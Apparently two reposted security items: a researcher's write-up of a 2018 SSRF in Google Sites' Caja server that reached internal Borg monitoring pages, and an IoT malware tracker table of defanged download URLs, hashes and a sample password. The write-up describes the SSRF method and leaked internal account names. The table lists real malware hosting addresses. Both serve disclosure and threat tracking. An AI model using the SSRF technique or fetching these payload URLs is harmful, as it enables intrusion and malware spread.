Into the Borg – SSRF inside Google production network July 20, 2018 | 5 Comments Intro – Testing Google Sites and Google Caja In March 2018, I reported an XSS in Google Caja, a tool to securely embed arbitrary html/javascript in a webpage. In May 2018, after the XSS was fixed, I realised that Google Sites was using an unpatched version of Google Caja, so I looked if it was vulnerable to the XSS. However, the XSS wasn’t exploitable there. Google Caja parses html/javascript and modifies it to remove any javascript sensitive content, such as iframe or object tags and javascript sensitive properties such as document.cookie. Caja mostly parses and sanitizes HTML tags on the client side. However, for remote javascript tag (<script src=”xxx”>), the remote resource was fetched, parsed and sanitized on the server-side. I tried to host a javascript file on my server (https://[attacker].com/script.js) and check if the Google Sites server would fall for the XSS when parsed server-side but the server replied that https://[attacker].com/script.js was not accessible. After a few tests, I realised that the Google Sites Caja server would only fetch Google-owned resources like https://www.google.com or https://www.gstatic.com, but not any external resource like https://www.facebook.com. That’s a strange behavior because this functionality is meant to fetch external resources so it looks like a broken feature. More interestingly, it is hard to determine whether an arbitrary URL belongs to Google or not, given the breadth of Google services. Unless… Finding an SSRF in Google Whenever I find an endpoint that fetches arbitrary content server-side, I always test for SSRF. I did it a hundred times on Google services but never had any luck. Anyway the only explanation for the weird behavior of the Google Caja server was that the fetching was happening on the internal Google network and that is why it could only fetch Google-owned resources but not external resources. I already knew this was a bug, now the question was whether it was a security bug! It’s very easy to host and run arbitrary code on Google servers, use Google Cloud services! I created a Google App Engine instance and hosted a javascript file. I then used the URL of this javascript file on Google Sites as a external script resource and updated the Google Sites page. The javascript was successfully fetched and parsed by Google Caja server. I then checked my Google App Engine instance logs to see from where the resource was fetched and it came from 10.x.x.201, a private network IP! This looked very promising. I used the private IP as the url for the Google Sites javascript external resource and waited for the moment of truth. The request took more than 30 seconds to complete and at that time I really thought the request was blocked and I almost closed the page since I never had any luck with SSRF on Google before. However, when Google Caja replied, I saw that the reply size wasn’t around 1 KB like for a typical error message but 1 MB instead! One million bytes of information coming from a 10.x.x.x IP from Google internal network, I can tell you I was excited at this point! 🙂 I opened the file and indeed it was full of private information from Google! \o/ Google, from the inside First I want to say that I didn’t scan Google’s internal network. I only made 3 requests in the network to confirm the vulnerability and immediately sent a report to Google VRP. It took 48 hours to Google to fix the issue (I reported it on a Saturday), so in the meantime I couldn’t help but test 2-3 more requests to try to pivot the SSRF vulnerability into unrestricted file access or RCE but without luck. The first request was to http://10.x.x.201/. It responded with a server status monitoring page of a “Borglet”. After a Google search, I could confirm that I was indeed inside Borg, Google’s internal large-scale cluster management system (here is a overview of the architecture). Google have open sourced the successor of Borg, Kubernetes in 2014. It seems that while Kubernetes is getting more and more popular, Google is still relying on Borg for its internal production infrastructure, but I can tell you it’s not because of the design of Borg interfaces! (edit: this is intended as a joke 😛 ) The second request was to http://10.x.x.1/ and it was also a monitoring page for another Borglet. The third request was http://10.x.x.1/getstatus, a different status monitoring page of a Borglet with more details on the jobs like permissions, arguments. Each Borglet represents a machine, a server. On the hardware side, both servers were using Haswell’s CPU @2.30GHz with 72 cores, which corresponds to a set of 2 or 3 Xeon E5 v3. Both servers were using the CPUs at 77%. They had 250GB of RAM, which was used at 70%. They had 1 HDD each with 2TB and no SSD. The HDD were almost empty with only 15GB used, so the data is stored elsewhere. The processing jobs (alloc and tasks) are very diverse, I believe this optimizes ressource usage with some jobs using memory, others using CPU, network, some with high priority, etc… Some services seem very active : Video encoding, Gmail and Ads. That should not be surprising since video processing is very heavy, Gmail is one of the main Google services and Ads is, well, Google’s core business. 😉 I didn’t see Google Sites or Caja in the jobs list, so either the SSRF was going through a proxy or the Borglet on 10.x.x.201 was from a different network than the 10.x.x.201 IP I saw in my Google App Engine instance logs. Regarding the architecture, we can find jobs related to almost all of the components of the Google Stack, in particular MapReduce, BitTable, Flume, GFS… On the technology side, Java seems to be heavily used. I didn’t see any mention of Python, C++, NodeJS or Go, but that doesn’t mean it wasn’t used so don’t draw conclusions. 😛 I should mention that Borg, like Kubernetes, relies on containers like Docker, and VMs. For video processing, it seems they are using Gvisor, a Google open-source tool that looks like a trade-off between containers performance and VMs security. Parameters gives some information on how to reach the applications through network ports. On Borg, it seems that all applications on a server share the same IP address and each has some dedicated ports. Apps arguments were the most fun part for me because it is almost code. I didn’t find Google Search secret algorithm but there was some cool queries like this: MSCR(M(Customer.AdGroupCriterion+Customer.AdGroupCriterion-marshal+FilterDurianAdGroupCriterion+FilterNeedReviewAdGroupCriterion+GroupAdGroupCriterionByAdGroupKey+JoinAdGroupData/MakeUnionTable:3)+M(JoinAdGroupData/MakeUnionTable:2)+M(Customer.AdGroup+Customer.AdGroup-marshal+FilterDurianAdGroup+ParDo(AdGroupDataStripFieldsFn)+JoinAdGroupData/MakeUnionTable)+R(JoinAdGroupData/GroupUnionTables+JoinAdGroupData/ConstructJoinResults+JoinAdGroupData/ExtractTuples+ExtractCreativeAndKeywordReviewables)) If you wonder what’s Gmail system user, it’s gmail@prod.google.com There is also a user “legal-discovery@prod.google.com” that has permission “auth.impersonation.impersonateNormalUser” on “mdb:all-person-users”. (edit: for clarification, I just saw these strings close to each other in a big array and assumed that’s what it meant) There was also a little bit of history which showed that most jobs where aborted before finishing. At last, there was a lot of url to other servers or applications endpoints. In particular, I tried to access a promising-looking http://wiki/ url but it didn’t work. I tested a /getFile?FileName=/sys/borglet/borglet.INFO url but got an unauthorized response. I also tried to change the FileName parameter but got error messages. Google VRP response I reported the issue on Saturday May 12, 2018, and it was automatically triaged as a P3 (medium priority) issue. On Sunday I sent an email to Google Security that they might want someone to have a look at this. On Monday morning the issue was escalated to P0 (critical) then later decreased to P1. On Monday night the vulnerable endpoint was removed and the issue fixed. It’s not easy to determine the impact of an SSRF because it really depends on what’s in the internal network. Google tends to keep most of its infrastructure available internally and uses a lot of web endpoints, which means that in case of a SSRF, an attacker could potentially access hundreds if not thousands of internal web applications. On the other hand, Google heavily relies on authentication to access resources which limits the impact of a SSRF. In this case, the Borglet status monitoring page wasn’t authenticated, and it leaked a lot of information about the infrastructure. My understanding is that in Kubernetes, this page is authenticated. Google VRP rewarded me with $13,337, which corresponds to something like unrestricted file access! They explained that while most internal resources would require authentication, they have seen in the past dev or debug handlers giving access to more than just info leaks, so they decided to reward for the maximum potential impact. I’d like to thank them for the bounty and for their quick response. I hope they won’t beat me with a stick for disclosing any of this. 🙂 That’s it for this story, I hope you enjoyed it as much I did and feel free to comment! Sursa: https://opnsec.com/2018/07/into-the-borg-ssrf-inside-google-production-network/

IoT-MalwareTracker This is a simple IoT malware tracker which i'm trying to build. I'm just trying to update the information here with whatever free time i have. The passwords to all the samples is infected29A Date URL sha256 Country AS 22nd July 2018 hxxp://159[.]89[.]30[.]133/weed.sh 91a512ced0757caae2b22a0bf320c00a88d3e5b01e55e1b77218895f62ff06e0 United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedntpd fd2af786e791343489fb7a45958d4ecff354a908ace4d4894d5de41960b41636 United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedsshd cfe4f8f9bd48ad5111a16b8525dc34111b73b6d064c37d787a4c2d0e40ab7523 United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedopenssh cc58874b59b75b578f988cb2d0b547541fc703a4a1e3fe46f4e3836dc3c262ee United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedbash 7e5b33144ec3bc6ad66ab3fa18b026e2a9717b49cf0325555aaa973b6c05fcfb United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedtftp 8a10ef274a48606ca16d84f58f083c508c70ed97116a2eea432650d2995b750c United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedwget 176d1b9d980001665c172ec82769ae8d2712c35077443aa058ade0725fb90519 United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedcron b44fe55c902b5410649501966277ae735eb70a1e3fd16f3d0e70302d32412303 United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedftp a08dd92eef21adf7a71e6415c80e16ea3185c126fa6340bdeacd7f30d60e9791 United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedpftp 4f76f7720cfecfe4b8ecc57a375e02de7645f58b5ad0e0dd5c5df277dbca911a United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedsh 056c0f7ca8baab24239817c5b8dc77e1f3db3f3c4775f1b512d6f8215e7a61fb United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedshit 34e26e4dedfa778dc9e23c31d308f7b31a91cd91f35d0b74a697245c689004fd United States AS14061 22nd July 2018 hxxp://159[.]89[.]30[.]133/weedapache2 69009ff729dd2b832a10522dab4843849d33dd186b5f6d94e9a86a7fa81d5df6 United States AS14061 22nd July 2018 hxxp://51[.]15[.]242[.]224/sus.sh e9928a83c2ca67dcd984f07b3cd61e1685009eb5791b2f3cec4c4e92fd2fcfd9 France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.ntpd 950cef23132aaa9ae1f1876071be8198dc75ce860c62bfae539f7701524620ef France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.sshd 7d6bbbf531a6635a490f225a1e07dd13b298c22ae596bfb56dfa9ec5daaf8bde France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.openssh ae007a08d731f30e3da9db0e8cc6a7c9266ddb09c40aaa84fa3d437e9b41ba7d France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.bash fc096daaea7c9435c5695f13e3c13e2fddd6783b51acea91cad6a1761e2ac59b France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.tftp 593c73769b4dcda95c7adeac9cf987eda0cf957c54e7631d324e73ffda66353f France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.wget 8a2a5152659d73a70e7ef51179b5fc65ba6f32effe605b8266b6a7ae19302a12 France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.cron 7935b2bd5a787dc25d5546517d31aafca2a90f5a87848fa101a063990139dab1 France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.ftp b48ee92f12fe2c66e6d992df309274abdfa35deebc01457b9dcd5b8304ff1c4d France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.pftp 1aa9ce761ff20adbf89479fe9915fce99c7ec6b426758a28d63fb48adb6e15a2 France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.sh b6ac90dd0f62bacffc0ac6c62d5803a3540e20c750db81676ad5b9c458fbe698 France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.nut 84257986F606F34E5B2C60ABBF8447A7118FF7457E05BBD80FFE4FA8E149BC33 France AS12876 22nd July 2018 hxxp://51[.]15[.]242[.]224/kakashi.apache2 20c18f126a894e0c339c211db2d0a3ce98e025e9d5126ccbcd94799218b7adac France AS12876 22nd July 2018 hxxp://178[.]128[.]69[.]34/bins.sh c784d4c6c68d1e67bc1239737290a280a76355f9716e5eac11a51be37782c6c8 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/earyzq 4253b2c5f3ad806904092d1ceb53cdd19edb6f135c0c35087e81207cca94ef91 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/cemtop 0293585ae97eab40b6308a3aca59d52a4ba7cfb87ad8d3058d57f97869b09b1e United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/vtyhat 043279fe16221b562dd01a014a4432ea3ff96744c284734788ea12e47ae9ff61 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/vvglma bfcc76e87bbfd966e0dd374bd391626d4b8795a4b868aa41df4bda9b5786e078 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/nvitpj eff67d9031023f3b458426464f093c617a79825c40c4e400e34f82c1d1d35b5b United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/razdzn 47a57f1b41bbcf745fff2952a387f11ab30f2469e0858461381b604bdd16d2fb United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/lnkfmx e440843aa8871f42a0d6603ca1d24fb9fc4933b5c4ce8767709b6a752a739d81 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/qvmxvl 224a499df8fd0f058cebb6182786b5cf69c21ddbf7d29bc5abce7d0cd2a1aa73 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/ajoomk 2df6038cf8fd04967b01f9a7c7c7bdf751729968aff390837c4256df62cc9f5d United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/fwdfvf d4b0fb39f9633fab20df70580a64966d5d1194764cf52a12c4706d9f93ee007f United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/atxhua 324578c1cecedde647533d44311aab8980f3244cee7bac19312ead46174e72e4 United States AS14061 22nd July 2018 hxxp://178[.]128[.]69[.]34/qtmzbn 76443e252214b6f72db1c4ecfdbd25b52a8c5060838b1bb098e85b9b57b483d4 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/8UsA.sh 6136aefb04b8a2738d891950e54b090d636a7646fc127b0945cdb31d10668f25 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.x86 144041b308de97ac2ea0ad2b0b6c9d6a34b28568aea96928e51e06d93b7badf8 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.mips af57f0667f34d8fd934593b38b23adf9b04ce682866074b09f2bdd9bb5990750 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.mpsl 79de302ed01caa842f55c3cfe62b8cca26f121c05d02216ee0ea477b99eb648f United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.arm fe9e7547792a4921cac9525f7398b1e7eeda5f78963d47c67bac98f5cd5221e6 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.arm5 57e16cfe965e07f965c5a753c531aa6854051ce785926e3aafa598e16862f7d1 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.arm6 3c087811f356c9b1ccadf29df7f83216cf04c0d868a67343f9b2b1b635c2565d United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.arm7 7c87634abcfccba1c1953fec54a0525baa303efcafea7b7b2f77f4bc7383d98e United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.ppc b81faea9925ef49076bc33d9611efc239a50821511536bdebbdbdee9b54631e6 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.m68k 50b18e211c5e87c0d83b01a04f2ca71d977cb8f880a5cf3d25b63de265d813c2 United States AS14061 22nd July 2018 hxxp://209[.]97[.]138[.]248/bins/ExPonIa.sh4 e06aa7b9d759fe67daf13904345a4674c41f2f3c92928ebdb2d663fa8d7d994d United States AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.x86 467553aa6428811d437e7a72cd32bb6697dee4f5ac27b2020443e879785f6e3e United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.mips 754cbd21ea8377e4b64215be00e22ceb7f8da2ae862fdde3d5e472dfe209aa05 United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.mpsl 2915111b6f65b6b95aeff2b0114e0054a689254b3b6488c72a84245b97f610e5 United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.arm5 8549458fd199c5aa26348c6cea5c9c40ff4909375250d49798db6264e5b8be0e United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.arm6 83e895e14889abe31719aa7f3c5b09ebbb8e3723ac1593f542909adc38a2013e United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.arm7 95b6ae6af1d4789660c48bd61cdb58ece0e83d58d5d5d1ec329849aece808bf2 United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.ppc 34d9bf5ed619ddfa2e98f57e1ede36d391425d273c86cfb4701aadb46d635e57 United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.m68k 333ddfb652baa92ecb2927ba61cafa2130f1a7616643f024ac2d904d52ec87a2 United Kingdom AS14061 22nd July 2018 hxxp://46[.]101[.]104[.]45/Jonko69/Jonko.sh4 25e886840ce427ab9ac9e9341272df389f0d651a84c3b670a71874efaa1e59e5 United Kingdom AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/8UsA.sh e80c4bab3dc21ca11637aa1c0e9addccc8ddd4f33ddf8b947a28670e4cc44c35 Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.x86 c0f2bf1c39868bca880c844f71c05b945c1c30c9edaa02b3f97c94fce3311538 Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.mips b56ee4a8a8414536a7c77bd7392e4ebff35028098ccb29a01db806358cf87d1d Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.mpsl 7ce6b1fcb4719e1a705578d4ee22fe69e505d911af00e1d9d8762a7ed992c207 Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.arm5 40dc3586130fbbcf0ae4539a8261b6335f5495e6eaed94e0296bd2b48a5b86b3 Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.arm6 10ef62df812e837d4f79edaf58d84d2333994d15365b2b15e40f79f5b6d4847c Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.arm7 fa048253c10a16610e571e1c92be90356d8ea51b6873be1605f715cd8d8bda09 Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.ppc cab9d7ea81cbe4c3aef8cdba0154252b1af570d2c0dc99aa189de54b1842288d Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.m68k 5aafcdcbf5858d2fb62624fc71458ef6bd49984d32fa170152b1491add604dbc Netherlands AS14061 22nd July 2018 hxxp://188[.]166[.]34[.]149/bins/hoho.sh4 c70b026973284c72ea1f52fc47b0c2f52c7822dc1c2b0d55393806e9c67248f1 Netherlands AS14061 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.x86 e647f3a128b00681e89106f5170f12ea1b726caf249f74466fe3c7577dd9af42 Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.mips 06691b42200621bcb4a0a4c03683d55a17aee8e63ea1dd5cdd5abc86e1f96ca7 Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.mpsl e6a4747c560bd44d1376d90f704dcfd1cff3732790e4af915e2508a619170fb8 Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.arm5 854aaa734b59a036cf7a9b33fa6a907a1980c3df518eebb80ad4b86824f27cbc Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.arm6 4ef098db29a4bd8ea089fb28c93a4bb334ac75e3a1edc4d518a5a8bc5698233d Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.arm7 525cf5dba31a16f957911fd758b446406f1913e942cc768da613c2ba36491968 Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.ppc 9c30cf9c25c2ae0a5e8ec184c5882e4ed4b26e12d95b4b85ea5d0e3f4479a4b3 Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.m68k e347099c77b18d19fdd669d39b2a9305a7bcaa188c3a0407442724e630a17ace Italy AS31034 22nd July 2018 hxxp://80[.]211[.]41[.]36/bins/sora.sh4 035e98156610701087735e1650ef9b9aff6f8d4bc547e3162fe656c4123a1551 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/bins.sh 1b8ec1fbc0785c1a063aa17f780a392ab9c71d5e533a74100022a89a0e05b5ed Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/ntpd 22def3121c9664dfa04cd5480e4e048e577f62c29c969104ce17e153e347a1c7 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/sshd db58ae8d7f3c9202565bf948eddb0427424a8f0c2e013ca7711a2aca652c25c6 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/openssh 8ce02f3bbfd35cdc3bffc08a34083063bcfdc26ca3c31b04dfde55ddf2d4f8b6 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/bash d603d940d24334ce5672df6d6efe2f91b19ced4ddbc6d2bf722e666c24f19481 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/tftp c99affb7627e137ccd01578081f125d197413ef2f5435ca7fa0f3f2adaf5df61 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/wget 0a3291644a58c2627cbf113ebfdf1157bdb99bcfc37c359305054f3f45c06a1c Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/cron 80442b286d4ed17539f683c052c55d8022660fed99d429b0043c2f42c7d8808f Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192ftp 58e75fe680ffd1a1d78e320eddf42e1186cdb8037a0e71f50d6639959c17f37b Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/pftp 3da09bc0345aa17b20791bc49b83b07cfe7197573f09f51a43064172b93cfdb5 Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/sh a88a130ee98c072a296c377bf6485d810d9e0b7e5916685f2aa3d774e07645fc Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/nut 1eceaa03b32d91cb219c43f35e5da0633a60b75bf3dfe38a84ef32959aa7237c Italy AS31034 22nd July 2018 hxxp://188[.]213[.]173[.]192/apache2 54f1182e7db7cd6343c0bc87ff9adf65b2bd08293d5878efbfa532c1ad29fcf4 Italy AS31034 22nd July 2018 hxxp://159[.]203[.]78[.]145/bins.sh ce041cd1537ba25912aed8a5944cec6c1cb37fa327ab3f67cc875cb4f7caa56e United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.mips e96f54b4ecf71ba0aed3a0c7f12af6c50be5b09eccd1991e6e34a6595713c78d United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.mpsl 8fcb04ed1a81d45d70f359e576f9f75449b733c6232d2c625db83fe6469b9db0 United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.sh4 89a9d724aadc9e9b8d7483bb9df2afa11c3eef1ed404ce8ea6dfa9118160c3f7 United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.x86 0fbb8bd7b593225bf9c4545b93f6bb543212554da67c3229fdb29f3698776699 United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.arm6 355159cfb22ae021aaf8fda0e7b48a8fc4036895c5866e5a41c38e0d1d5c9dd1 United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.x32 a075d9ce69e35401ad2ec6088e85df4d0b2f10113d7df25bc3e188df4c0509cc United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.ppc 3164c8d56daa3c24513b6164512bf5923426e939c0557a31b773e4af9ebf2a3c United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.i586 ae1f7f9f1a875d12e68ad7cc48269f7d6c29ca563d6b221cf4186690a237e3c6 United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.m68k 3987eca1904bfa41e8b5c6ae66b007c216832b923a7372e8f7d1b6a8f639621b United States AS14061 22nd July 2018 hxxp://159[.]203[.]78[.]145/yakuza.arm4 b880aa7a19dd9373d1d990ba75b5c338082f71d355a59cd01d787ce0f1646fe7 United States AS14061 22nd July 2018 hxxp://217[.]61[.]113[.]30/bins.sh c709139716180c26caae40d01e6edfbf4716b98d4e9a37322491412f9df7f23e United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/ntpd e3d96f764addb93459392ca4e82451ca8d60406e9c361e03ba36f39137f49a31 United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/sshd 99825df2e8629c8cba55eb33e1accfa0f725e15a663b3ddf59a06f3c170d27bd United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/openssh a882949feb1e4d44b3df69e7e3f7bbc7dd2ef64aeb15a78ebf37ee7a2314c2ef United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/bash 97736104d1aa9f365d1d2be512169057f5dd308a5cd858b22c032c7c605484ec United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/tftp de6999b43624d3e5b5748c3c4aa10804c096122d854421b064199ec240d758b7 United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/wget 2e9aae8d7e87a9cf1eb67d80ca0aff85095dfbc35e0f5aee0648842cae873ab5 United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/cron 2f8e1b5064cf08383debb5c0382a4e3e378bdbdd1068419ef78124d0868975cd United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/ftp f9a2f6c79657a603c3c53448566e44933ed63263f1c430a5e0967a5d0526dc03 United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/pftp 65ef0f3238fcacf574c0f78986feed47554f0fd5e6ba2cd5b964065e931c6fcd United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/sh 39ad8da8cfcb05d5eada715301e89d36b803eff78f77c08150b59dff7b98b9cd United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/[cpu] b0aa03bf0336d3a061e0a9201b802a5574c9e1b3c42f2c56352bb33a865bbabc United Kingdom AS199883 22nd July 2018 hxxp://217[.]61[.]113[.]30/apache2 4af84347666492b031694ec9abad70d249e233399c99f9f8f68938aaed7d06c4 United Kingdom AS199883 22nd July 2018 hxxp://185[.]172[.]164[.]41/rt e5aa330103b5f0ecb945b0e268dfed88cbe70c1bd3442ac63271699d18bb38cf Netherlands AS62068 21st July 2018 hxxp://192[.]0[.]27[.]69/a21jj 0636d8749ecb285c293dc533c9b7690ba17ac7902488bf39164129a12d54c1c3 United States AS11282 21st July 2018 hxxp://192[.]0[.]27[.]69/do3309 7358b6fc402681a3585d7cd69763d4b8f0c3093d746b85a35205b77e5b26e13d United States AS11282 21st July 2018 hxxp://192[.]0[.]27[.]69/isu80 2815c35a00c6abadc22aa61b888cb144bc51458d08196794f15d06851d185b1d United States AS11282 21st July 2018 hxxp://192[.]0[.]27[.]69/s443ls 2409fb21fe377f7e12dda392f26d7c93b7715239169d362dd907fe499ab38ee9 United States AS11282 21st July 2018 hxxp://81[.]130[.]144[.]84:51074 a04ac6d98ad989312783d4fe3456c53730b212c79a426fb215708b6c6daa3de3 United Kingdom AS2856 21st July 2018 hxxp://203[.]146[.]208[.]208/drago/images/.ssh/y.txt f729d996c6d71b0d376c19d20d0f4370a5e7c368767c84c57df84972be7731c4 Thailand AS4750 21st July 2018 hxxp://206[.]189[.]96[.]61/bins.sh b93a507811557dec81de6ab7b94397f481b12b5f4db29c81430bd2618b91c955 United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/ntpd 86dc2584acb31cb834fab37f32a53df4312364ce93c7acace392db7c191ace73 United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/sshd 1f73c3a5c9e316b36b77e5f3a4836556a8b6a722e8bbe0beba76e415be7d5fd9 United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/openssh 1ab6bffea43e5df8ce091bff929a946afb888b76be0f1199f22f3d96bf7c0f0e United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/bash 136c895dd3f01d81bc0501a7f55d58261eb84a3edff26b591185afc53163921c United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/tftp 75143a69a9be96ed33b51658ce94e1bf3f378ad27f8e59f059e40ee29b2d09f2 United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/wget 3bc39e903110c7514dd0615596d88a4ef76ee6b57dffb56b30633d41c9a5fc9f United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/cron dc2eb1b37cb6fa5b03e2e382a9bf00b2e05f2bae44af23822e41cd81754f890a United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/ftp 4ebcbaad48723151e3b40fd416863384ce8ec51239c1a8f93af90f13f2b475fc United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/pftp af558d24f48561787dadbd38002eb2fe45773954d15758fdfba244d8086126c6 United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/sh 3273b592a0681ca683dde4326c865c1001d05a1470438b3af611a6f0937b4f87 United States AS14061 21st July 2018 hxxp://206[.]189[.]96[.]61/apache2 5d4689b8e423b3edd2f30eb231eea09700f5bb193e471b87d1347c8021000e6c United States AS14061 Sursa: https://github.com/jacobsoo/IoT-MalwareTracker

